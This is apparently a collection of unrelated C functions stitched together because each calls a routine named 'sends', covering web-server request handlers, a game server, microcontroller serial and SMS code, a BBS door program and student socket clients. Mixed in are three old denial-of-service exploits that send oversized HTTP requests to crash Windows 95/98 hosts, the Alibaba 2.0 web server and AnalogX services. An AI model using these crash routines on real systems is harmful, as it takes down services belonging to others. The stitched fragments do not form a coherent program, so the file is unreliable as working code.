main(int argc, char *argv[]) { int sock,i; if (argc<3) { printf("\n\t\tCJB Ip Forwarding client by wC (version 1.0b)\n\n"); printf("Sintaxe: %s <username> <password> [url (offline)]\n",argv[0]); printf("Send flamez to [email protected], Enjoy...\n\n"); } else if (argc==3) { printf("CJB Ip Forwarding client by wC (version 1.0b)\n\n"); printf("Connecting to server... (%s)\n",server); sock=openhost(server,port); if (sock!=-1) { sprintf(buf,"GET %s?username=%s&password=%s\n",cgiscript,argv[1],argv[2]); sends(sock,buf); close(sock); printf("Done...%s.cjb.net is now forwarding to your ip!\n\n",argv[1]); } else printf("\nCould not connect to server :/\n\n"); } else { printf("CJB Ip Forwarding Client by wC (version 1.0b)\n\n"); printf("Connecting to server... (%s)\n",server); sock=openhost(server,port); if (sock!=-1) { sprintf(buf,"GET %s?username=%s&password=%s&url=%s\n",cgiscript,argv[1],argv[2],argv[3]); sends(sock,buf); close(sock); printf("Account: %s.cjb.net\n",argv[1]); printf("Forwarding to: %s\n",argv[3]); printf("Done!\n\n"); } else printf("\nCould not connect to server :/\n\n"); } }
void attack(char *host, int port) { int sock,i; char *buf; printf("\n\tDos Attack against any windows version (95/98 TESTED) by wildcoyote\n\n"); printf("Trying to connect to %s (%d)....(please wait)\n",host,port); sock=openhost(host,port); if(sock<=0) { printf("- Could not connect -\n"); printf("Exiting...\n\n"); exit(-1); } else printf("Connected to %s (%d)\n",host,port); buf = (char *) malloc(260); strcpy(buf,"GET /command."); for(i=0;i<240;i++) strcat(buf,"A"); strcat(buf,"\n"); printf("Oh k! Sending a 240'char (extension) filename request to host...\n"); sends(sock,buf); close(sock); free(buf); printf("Crash sent! The host *probably* crashed :P\n"); printf("Send flamez to [email protected], *Enjoy*...\n\n"); }
void main(void) { clock_int_48MHz(); habilita_interrupcao(recep_serial); taxa_serial(9600); habilita_canal_AD(AN0); iniws(); //habilita_wdt(); while(1) { //ClrWdt(); if (flagsw==1) {flagsw=0;tempo_ms(500); ADvalue=le_AD10bits(0); tempo_ms(500); for(i=0;pg[i]!=0;i++) {smid[i]=pg[i];sputc(smid[i]);} for(i=0;pg1[i]!=0;i++) {smid[i]=pg1[i];sputc(smid[i]);} for(i=0;rede[i]!='\0';i++) {smid[i]=(rede[i]*(('@'+REG)>>5));sputc(smid[i]);} sends((unsigned char *)pg2); sendnum(ADvalue); for(i=0;pg3[i]!=0;i++) {smid[i]=pg3[i];sputc(smid[i]);} for(i=0;pg4[i]!=0;i++) {smid[i]=pg4[i];sputc(smid[i]);} tempo_ms(500); } }
void DoS(char *host, int port) { int sock,i; char *buf; printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n"); printf("Trying to connect to %s (%d)....(please wait)\n",host,port); sock=openhost(host,port); if(sock<=0) { printf("- Could not connect -\n"); printf("Exiting...\n\n"); exit(-1); } else printf("Connected to %s (%d)\n",host,port); printf("Allocating memory for DoS\n"); buf = (char *) malloc(8200); // it takes 8173 bytes, but i wave mem ;) strcpy(buf,"GET "); for(i=5;i<8198;i++) strcat(buf,"A"); strcat(buf,"\n\n"); printf("Oh k! Sending CRASH!\n"); sends(sock,buf); close(sock); free(buf); printf("Crash sent! The host *probably* crashed :P\n"); printf("Send flamez to [email protected], *Enjoy*...\n\n"); }
int visu_bienvenue(t_fds *pooler, t_cmd *cmd, t_visu *visu) { (void)cmd; (void)visu; sends(pooler, "GRAPHIC"); return (1); }
static void copyMappings(HttpRoute *route, MprJson *dest, MprJson *obj) { MprJson *child, *job, *jvalue; cchar *key, *value; int ji; for (ITERATE_CONFIG(route, obj, child, ji)) { if (child->type & MPR_JSON_OBJ) { job = mprCreateJson(MPR_JSON_OBJ); copyMappings(route, job, child); mprSetJsonObj(dest, child->name, job); } else { key = child->value; if (sends(key, "|time")) { key = ssplit(sclone(key), " \t|", NULL); if ((value = mprGetJson(route->config, key)) != 0) { mprSetJson(dest, child->name, itos(httpGetTicks(value)), MPR_JSON_NUMBER); } } else { if ((jvalue = mprGetJsonObj(route->config, key)) != 0) { mprSetJsonObj(dest, child->name, mprCloneJson(jvalue)); } } } } }
int zappy_prend(t_fds *client, char *cmd) { t_player *p; t_generic data; char *obj; if (!client || !(p = *(t_player**)client) || !cmd || !(strtok(cmd, " \t")) || !(obj = strtok(NULL, " \t")) || !prendre_action(p, obj)) { sends(client, "ko"); return (false); } data.ui1 = get_ressource_id(obj); data.client = client; event_relative_dispatch("TakeItem", &data, 0); sends(client, "ok"); return (true); }
int send_plv(t_fds *pooler, t_cmd *cmd) { int r; char *a; r = asprintf(&a, "plv %s", cmd->argv[0]); sends(pooler, a); free(a); return (0); }
bool handshaking(t_fds *client, char *cmd) { if (!client->anounce) sends(client, "BIENVENUE"); if (cmd && (strcmp(cmd, "GRAPHIC") == 0)) { graph_graphic(client, cmd); return (true); } return (false); }
/* Render a document by mapping a URL target to a document. The target is interpreted relative to route->documents. If target exists, then serve that. If target + extension exists, serve that. If target is a directory and an index.esp, return the index.esp without a redirect. If target is a directory without a trailing "/" but with an index.esp, do an external redirect to "URI/". If target does not end with ".esp", then do not serve that. */ PUBLIC void espRenderDocument(HttpConn *conn, cchar *target) { HttpUri *up; MprKey *kp; cchar *dest; assert(target); for (ITERATE_KEYS(conn->rx->route->extensions, kp)) { if (kp->key && *kp->key) { if ((dest = checkView(conn, target, 0, kp->key)) != 0) { espRenderView(conn, dest, 0); return; } } } if ((dest = checkView(conn, target, 0, "esp")) != 0) { espRenderView(conn, dest, 0); return; } if ((dest = checkView(conn, target, "index", "esp")) != 0) { /* Must do external redirect first if URL does not end with "/" */ if (!sends(conn->rx->parsedUri->path, "/")) { up = conn->rx->parsedUri; httpRedirect(conn, HTTP_CODE_MOVED_PERMANENTLY, httpFormatUri(up->scheme, up->host, up->port, sjoin(up->path, "/", NULL), up->reference, up->query, 0)); return; } espRenderView(conn, dest, 0); return; } /* Remove in version 6 */ #if DEPRECATED || 1 if ((dest = checkView(conn, sjoin("app/", target, NULL), 0, "esp")) != 0) { espRenderView(conn, dest, 0); return; } #endif /* Last chance, forward to the file handler ... not an ESP request. This enables static file requests within ESP routes. */ httpTrace(conn, "esp.handler", "context", "msg: 'Relay to the fileHandler"); conn->rx->target = &conn->rx->pathInfo[1]; httpMapFile(conn); if (conn->tx->fileInfo.isDir) { httpHandleDirectory(conn); } httpSetFileHandler(conn, 0); }
int main() { int n; short vref = *(short*)((void*)0x1FFFF7BA); REG_L(RCC_BASE, RCC_AHBENR) |= (1 << 17); // port A clock REG_L(RCC_BASE, RCC_AHB2ENR) |= (1 << 9); // ADC clock REG_L(GPIOA_BASE, GPIO_MODER) |= 1; uartEnable(); adcEnable(); REG_L(ADC_BASE, ADC_CHSELR) |= (1 << 5); // ADC from PA5 REG_L(ADC_BASE, ADC_CHSELR) |= (1 << 17); // ADC from vrefint while(1) { REG_L(GPIOA_BASE, GPIO_BSRR) |= (1 << 0); sends("on\n"); adcRead(2); sends("adc=0x"); sendHex(adc[0], 3); n = (intDiv(3300 * (int) adc[0], adc[1]) * vref) >> 12; sends(", V="); sendDec(n); sends("mv, T="); sendDec(intDiv(((n - 2980) + 5), 10) + 25); sends("\n"); n=250000; while(--n); REG_L(GPIOA_BASE, GPIO_BSRR) |= (1 << 16); sends("off\n"); n=1000000; while(--n); } }
bool gsm_send_sms( const char* destination, const char* message ) { int i, len; gsm_send_at_cmd( "AT+E=0" ); gsm_send_at_cmd( "AT+CMGF=1" ); sends(U1, "AT+CMGS=\""); sends(U1, destination ); sends(U1, "\"\r"); wait_for_response( ">", 0 ); len = strlen(message); if ( len > 160 ) len = 160; for ( i=0; i<len; ++i ) { put( U1, message[i] ); } put( U1, 0x1A ); // ASCII ctrl-z = 0x1A return wait_for_response( "OK", "ERROR" ); }
void analogXcrash(char *host, int type) { char *buf; int sock, i, x, buffer_size; printf("Type Number: %d\n",type); printf("Service : %s\n",analogXDoS_types[type].service); printf("Port : %d\n",analogXDoS_types[type].port); printf("Let the show begin ladyes...\n"); printf("Connecting to %s [%d]...",host,analogXDoS_types[type].port); sock=openhost(host,analogXDoS_types[type].port); if (sock==-1) { printf("FAILED!\n"); printf("Couldnt connect...leaving :|\n\n"); exit(-1); } printf("SUCCESS!\n"); printf("Allocating memory for buffer..."); buffer_size=(strlen(analogXDoS_types[type].command) + analogXDoS_types[type].overflow_string_size); if (!(buf=malloc(buffer_size))) { printf("FAILED!\n"); printf("Leaving... :[\n\n"); exit(-1); } printf("WORKED! (heh)\n"); for(i=0;;i++) if ((analogXDoS_types[type].command[i]=='B') && (analogXDoS_types[type].command[i+1]=='O')) break; else buf[i]=analogXDoS_types[type].command[i]; for(x=0;x<analogXDoS_types[type].overflow_string_size;x++) strcat(buf,"X"); i+=2; for(;i<strlen(analogXDoS_types[type].command);i++) buf[strlen(buf)]=analogXDoS_types[type].command[i]; printf("Sending EVIL buffer ;)\n"); sends(sock,buf); close(sock); printf("Heh...that host should be a gonner by now ;)\n"); printf("Was it good for you to? :)\n\n"); }
/* Test if this request is for a directory listing. This routine is called directly by the fileHandler. Directory listings are enabled in a route via "Options Indexes". */ PUBLIC bool maRenderDirListing(HttpConn *conn) { HttpRx *rx; HttpTx *tx; Dir *dir; tx = conn->tx; rx = conn->rx; assert(tx->filename); assert(tx->fileInfo.checked); if ((dir = httpGetRouteData(rx->route, DIR_NAME)) == 0) { return 0; } if (dir->enabled && tx->fileInfo.isDir && sends(rx->pathInfo, "/")) { conn->data = dir; return 1; } return 0; }
/* Match if the filename maps to a directory and directory listings are enabled via "Options Indexes" */ int maMatchDir(HttpConn *conn, HttpRoute *route, int direction) { HttpRx *rx; HttpTx *tx; Dir *dir; tx = conn->tx; rx = conn->rx; mprAssert(tx->filename); mprAssert(tx->fileInfo.checked); if (direction & HTTP_STAGE_TX) { if ((dir = httpGetRouteData(rx->route, DIR_NAME)) == 0) { return HTTP_ROUTE_REJECT; } if (dir->enabled && tx->fileInfo.isDir && sends(rx->pathInfo, "/")) { conn->data = dir; return HTTP_ROUTE_OK; } } return HTTP_ROUTE_REJECT; }
static int handleDirectory(HttpConn *conn) { HttpRx *rx; HttpTx *tx; HttpRoute *route; HttpUri *req; MprPath *info; cchar *index, *pathInfo, *uri; char *path; int next; rx = conn->rx; tx = conn->tx; req = rx->parsedUri; route = rx->route; info = &tx->fileInfo; /* Manage requests for directories */ if (!sends(req->path, "/")) { /* Append "/" and do an external redirect. Use the original request URI. */ pathInfo = sjoin(req->path, "/", NULL); uri = httpFormatUri(req->scheme, req->host, req->port, pathInfo, req->reference, req->query, 0); httpRedirect(conn, HTTP_CODE_MOVED_PERMANENTLY, uri); return HTTP_ROUTE_OK; } if (route->indexes) { /* Ends with a "/" so do internal redirection to an index file */ for (ITERATE_ITEMS(route->indexes, index, next)) { /* Internal directory redirections. Transparently append index. Test indexes in order. */ path = mprJoinPath(tx->filename, index); if (mprPathExists(path, R_OK)) { pathInfo = sjoin(rx->scriptName, rx->pathInfo, index, NULL); uri = httpFormatUri(req->scheme, req->host, req->port, pathInfo, req->reference, req->query, 0); httpSetUri(conn, uri); tx->filename = path; tx->ext = httpGetExt(conn); mprGetPathInfo(tx->filename, info); return HTTP_ROUTE_REROUTE; } } } #if ME_COM_DIR /* Directory Listing. If a directory, test if a directory listing should be rendered. If so, delegate to the dirHandler. Cannot use the sendFile handler and must use the netConnector. */ if (info->isDir && httpRenderDirListing(conn)) { tx->handler = conn->http->dirHandler; tx->connector = conn->http->netConnector; return HTTP_ROUTE_OK; } #endif return HTTP_ROUTE_OK; }
int main(int argc, char *argv[]) { char buffer[300]; struct sockaddr_un socknfo; struct DayDream_DoorMsg dmsg; struct wall walldata[60]; char *s; int i; int prlines; int datafd; int level; struct wall *cd; s = (char *) walldata; for (i = 0; i < sizeof(struct wall) * 60; i++) *s++ = 0; if (argc < 2) { printf("This program must be launched from DayDream BBS!"); exit(1); } signal(SIGHUP, SIG_IGN); sprintf(buffer, "%s/dd_door%s", DDTMP, argv[1]); strcpy(socknfo.sun_path, buffer); socknfo.sun_family = AF_UNIX; sockfd = socket(AF_UNIX, SOCK_STREAM, 0); if (sockfd == -1) { printf("Couldn't create socket!\n\n"); exit(2); } if (connect(sockfd, (struct sockaddr *) &socknfo, sizeof(socknfo)) == -1) { printf("Can't find door socket!\n\n"); exit(3); } atexit(killdoor); dmsg.ddm_command = 109; dmsg.ddm_data1 = 0; writedm(&dmsg); prlines = dmsg.ddm_data1 - 3; dmsg.ddm_command = 122; dmsg.ddm_data1 = 0; writedm(&dmsg); level = dmsg.ddm_data1; datafd = open("data/ddwall.dat", O_RDWR | O_CREAT, 0666); if (datafd == -1) { sends("[35m\nUnable to open datafile!\n\n"); } read(datafd, &walldata, sizeof(struct wall) * 60); sends("[2J[H[0;34m---[36m[ [0mDD-Wall/Linux V1.00 [36m][34m-----------------------------[36m[ [0mby Hydra/sELLERi [36m][34m---\n"); i = 60 - prlines; if (i < 0) i = 0; while (i != 60) { const char *col1; const char *col2; const char *writer; cd = &walldata[i]; if (!cd->wall_sysop) col1 = "[32m"; else col1 = "[0m"; if (cd->wall_type && level == 255) { col2 = "[33m"; writer = cd->wall_from; } else if (cd->wall_type) { col2 = "[31m"; writer = "Anonymous"; } else { col2 = "[36m"; writer = cd->wall_from; } sprintf(buffer, " %s%-61.61s %s%-14.14s \n", col1, cd->wall_string, col2, writer); sends(buffer); i++; } sends("[34m------------------------------------------------------------------------------\n"); sends(" [35mWanna add a line? ([36myes/No[35m) : [0m"); dmsg.ddm_command = 4; dmsg.ddm_data1 = HOT_NOYES; writedm(&dmsg); if (dmsg.ddm_data1 == 1) { int ano = 0; int imp = 0; char hinkbuf[70]; sends("[A \r[34m[[61C[34m][0m[62D"); dmsg.ddm_command = 3; dmsg.ddm_data1 = 61; dmsg.ddm_data2 = 0; dmsg.ddm_string[0] = 0; writedm(&dmsg); if (dmsg.ddm_data1 == 0) exit(0); strcpy(hinkbuf, dmsg.ddm_string); sends("[A \r"); sends(" [35mWanna be anonymous? ([36myes/No[35m) : [0m"); dmsg.ddm_command = 4; dmsg.ddm_data1 = HOT_NOYES; writedm(&dmsg); if (dmsg.ddm_data1 == 1) ano = 1; if (level == 255) { sends("[A \r"); sends(" [35mIs this important (SysOp only)? ([36myes/No[35m) : [0m"); dmsg.ddm_command = 4; dmsg.ddm_data1 = HOT_NOYES; writedm(&dmsg); if (dmsg.ddm_data1 == 1) imp = 1; } for (i = 0; i < 59; i++) { memcpy(&walldata[i], &walldata[i + 1], sizeof(struct wall)); } cd = &walldata[59]; strcpy(cd->wall_string, hinkbuf); cd->wall_type = ano; cd->wall_sysop = imp; dmsg.ddm_command = 103; dmsg.ddm_data1 = 0; writedm(&dmsg); strcpy(cd->wall_from, dmsg.ddm_string); lseek(datafd, 0, SEEK_SET); write(datafd, &walldata, sizeof(struct wall) * 60); } close(datafd); return 0; }
//Main int main( int argc, char* argv[] ) { obj objets[TABLEN]; objets[0] = obj1; objets[1] = obj2; objets[2] = obj3; if (argc != 3) { printf("Mauvais nombre d'arguments au programme, 2 nécessaires, %d donnés\n", argc - 1); return EXIT_FAILURE; } int sd; //Descripteur de la socket int opt = 1; struct sockaddr_in saddrcli, saddrser; struct hostent* hid; sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sd != 1){ //Initialisation du client bzero(&saddrcli, sizeof(saddrcli)); saddrcli.sin_family = AF_INET; saddrcli.sin_port = htons(PORT_CLIENT); //Little Endian-Big Endian saddrcli.sin_addr.s_addr = htonl(INADDR_ANY); //N'importe quelle adresse de carte réseau disponible //Attachement de la socket à la carte réseau client //int code = bind(sd, (struct sockaddr*) &saddrcli, sizeof(saddrcli)); //if (code != -1){ //Initialisation du serveur bzero(&saddrser, sizeof(saddrser)); saddrser.sin_family = AF_INET; saddrser.sin_port = htons(atoi(argv[2])); //Little Endian-Big Endian //Récupération de l'addresse IP du serveur hid = gethostbyname(argv[1]); bcopy(hid->h_addr, &(saddrser.sin_addr.s_addr), hid->h_length); //Tentative de connexion int code = connect(sd, (const struct sockaddr*) &saddrser, sizeof(saddrser)); /**********DEBUG ONLY*********/ printf("Connexion établie\n"); int i; for (i = 0; i < 5; i++){ printf("Envoi dans %d secondes\n",5-i); sleep(1); } /*******DEBUG ONLY (END)******/ if(code == -1){ printf("Sending failed\n"); printf("Code of the error : %d\n", errno); printf("Message of the error : %s\n", strerror(errno)); } else if (code == 0){ sends(sd, &objets[0], sizeof(obj)); sends(sd, &objets[1], sizeof(obj)); sends(sd, &objets[2], sizeof(obj)); } else printf("WHAT ??\n"); /*} else{ printf("Bind failed : %d\n", errno); printf("Error : %s\n", strerror(errno)); }*/ close(sd); } return EXIT_SUCCESS; }
bool gsm_send_at_cmd( const char* cmd ) { sends( U1, cmd ); sends( U1, "\r\n" ); return wait_for_response( "OK", "ERROR" ); }
/* <% stylesheets(patterns); %> Where patterns may contain *, ** and !pattern for exclusion */ PUBLIC void stylesheets(cchar *patterns) { HttpStream *stream; HttpRx *rx; HttpRoute *route; EspRoute *eroute; MprList *files; cchar *filename, *ext, *uri, *path, *kind, *version, *clientDir; int next; stream = getStream(); rx = stream->rx; route = rx->route; eroute = route->eroute; patterns = httpExpandRouteVars(route, patterns); clientDir = httpGetDir(route, "documents"); if (!patterns || !*patterns) { version = espGetConfig(route, "version", "1.0.0"); if (eroute->combineSheet) { /* Previously computed combined stylesheet filename */ stylesheets(eroute->combineSheet); } else if (espGetConfig(route, "http.content.combine[@=css]", 0)) { if (espGetConfig(route, "http.content.minify[@=css]", 0)) { eroute->combineSheet = sfmt("css/all-%s.min.css", version); } else { eroute->combineSheet = sfmt("css/all-%s.css", version); } stylesheets(eroute->combineSheet); } else { /* Not combining into a single stylesheet, so give priority to all.less over all.css if present Load a pure CSS incase some styles need to be applied before the lesssheet is parsed */ ext = espGetConfig(route, "http.content.stylesheets", "css"); filename = mprJoinPathExt("css/all", ext); path = mprJoinPath(clientDir, filename); if (mprPathExists(path, R_OK)) { stylesheets(filename); } else if (!smatch(ext, "less")) { path = mprJoinPath(clientDir, "css/all.less"); if (mprPathExists(path, R_OK)) { stylesheets("css/all.less"); } } } } else { if (sends(patterns, "all.less")) { path = mprJoinPath(clientDir, "css/fix.css"); if (mprPathExists(path, R_OK)) { stylesheets("css/fix.css"); } } if ((files = mprGlobPathFiles(clientDir, patterns, MPR_PATH_RELATIVE)) == 0 || mprGetListLength(files) == 0) { files = mprCreateList(0, 0); mprAddItem(files, patterns); } for (ITERATE_ITEMS(files, path, next)) { path = sjoin("~/", strim(path, ".gz", MPR_TRIM_END), NULL); uri = httpLink(stream, path); kind = mprGetPathExt(path); if (smatch(kind, "css")) { espRender(stream, "<link rel='stylesheet' type='text/css' href='%s' />\n", uri); } else { espRender(stream, "<link rel='stylesheet/%s' type='text/css' href='%s' />\n", kind, uri); } } } }
static void _sends(void *player, void *msg) { sends((t_fds *)player, (char *)msg); }
//Main int main( int argc, char* argv[] ) { obj objets[TABLEN]; obj objr; objets[0] = obj1; objets[1] = obj2; objets[2] = obj3; if (argc != 3) { printf("Mauvais nombre d'arguments au programme, 2 nécessaires, %d donnés\n", argc - 1); return EXIT_FAILURE; } int sd; //Descripteur de la socket struct sockaddr_in saddrcli, saddrser; struct hostent* hid; //Ouverture de la socket sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sd != 1){ //Initialisation du client bzero(&saddrcli, sizeof(saddrcli)); saddrcli.sin_family = AF_INET; saddrcli.sin_port = htons(PORT_CLIENT); //Little Endian-Big Endian saddrcli.sin_addr.s_addr = htonl(INADDR_ANY); //N'importe quelle adresse de carte réseau disponible //Initialisation du serveur bzero(&saddrser, sizeof(saddrser)); saddrser.sin_family = AF_INET; saddrser.sin_port = htons(atoi(argv[2])); //Little Endian-Big Endian //Récupération de l'addresse IP du serveur hid = gethostbyname(argv[1]); bcopy(hid->h_addr, &(saddrser.sin_addr.s_addr), hid->h_length); //Tentative de connexion int code = connect(sd, (const struct sockaddr*) &saddrser, sizeof(saddrser)); /**********DEBUG ONLY*********/ printf("Connexion établie\n"); int i; for (i = 0; i < 5; i++){ printf("Envoi dans %d secondes\n",5-i); sleep(1); } /*******DEBUG ONLY (END)******/ if(code == -1){ printf("Sending failed\n"); printf("Code of the error : %d\n", errno); printf("Message of the error : %s\n", strerror(errno)); } else if (code == 0){ //Envoi des objets au serveur sends(sd, &objets[0], sizeof(obj)); sends(sd, &objets[1], sizeof(obj)); sends(sd, &objets[2], sizeof(obj)); do{ //Réception des nouvelles données du serveur receive(sd, &objr, sizeof(obj)); //Formatage des données reçues à l'écran printf("Received object : %s\n{\n", objr.id); printf("\tObject description : %s\n", objr.desc); printf("\tObject ii : %d\n", objr.ii); printf("\tObject jj : %d\n", objr.jj); printf("\tObject dd : %f\n", objr.dd); printf("\tObject iqt : %d\n", objr.iqt); printf("}\n\n"); }while (objr.iqt != -1); } else printf("Unexpected error\n"); close(sd); } return EXIT_SUCCESS; }
/* Test if the request matches. This may delegate the request to the dirHandler if a directory listing is required. */ static int matchFileHandler(HttpConn *conn, HttpRoute *route, int dir) { HttpRx *rx; HttpTx *tx; HttpUri *prior; MprPath *info, zipInfo; cchar *index; char *path, *pathInfo, *uri, *zipfile; int next; printf("\n matchFileHandler \n"); rx = conn->rx; tx = conn->tx; rx = conn->rx; prior = rx->parsedUri; info = &tx->fileInfo; httpMapFile(conn, route); assure(info->checked); if (rx->flags & (HTTP_DELETE | HTTP_PUT)) { return HTTP_ROUTE_OK; } if (info->isDir) { /* Manage requests for directories */ if (!sends(rx->pathInfo, "/")) { /* Append "/" and do an external redirect */ pathInfo = sjoin(rx->pathInfo, "/", NULL); uri = httpFormatUri(prior->scheme, prior->host, prior->port, pathInfo, prior->reference, prior->query, 0); httpRedirect(conn, HTTP_CODE_MOVED_PERMANENTLY, uri); return HTTP_ROUTE_OK; } if (route->indicies) { /* Ends with a "/" so do internal redirection to an index file */ for (ITERATE_ITEMS(route->indicies, index, next)) { /* Internal directory redirections. Transparently append index. Test indicies in order. */ path = mprJoinPath(tx->filename, index); if (mprPathExists(path, R_OK)) { pathInfo = sjoin(rx->scriptName, rx->pathInfo, index, NULL); uri = httpFormatUri(prior->scheme, prior->host, prior->port, pathInfo, prior->reference, prior->query, 0); httpSetUri(conn, uri); tx->filename = path; tx->ext = httpGetExt(conn); mprGetPathInfo(tx->filename, info); return HTTP_ROUTE_REROUTE; } } } /* If a directory, test if a directory listing should be rendered. If so, delegate to the dirHandler. Cannot use the sendFile handler and must use the netConnector. */ if (info->isDir && maRenderDirListing(conn)) { tx->handler = conn->http->dirHandler; tx->connector = conn->http->netConnector; return HTTP_ROUTE_OK; } } if (!info->valid && (route->flags & HTTP_ROUTE_GZIP) && rx->acceptEncoding && strstr(rx->acceptEncoding, "gzip") != 0) { /* If the route accepts zipped data and a zipped file exists, then transparently respond with it. */ zipfile = sfmt("%s.gz", tx->filename); if (mprGetPathInfo(zipfile, &zipInfo) == 0) { tx->filename = zipfile; tx->fileInfo = zipInfo; httpSetHeader(conn, "Content-Encoding", "gzip"); } } if (rx->flags & (HTTP_GET | HTTP_HEAD | HTTP_POST) && info->valid && !info->isDir && tx->length < 0) { /* The sendFile connector is optimized on some platforms to use the sendfile() system call. Set the entity length for the sendFile connector to utilize. */ httpSetEntityLength(conn, tx->fileInfo.size); } printf("\n-------------------------\n"); printf("tx->filename:\t%s",tx->filename); printf("\n-------------------------\n"); return HTTP_ROUTE_OK; }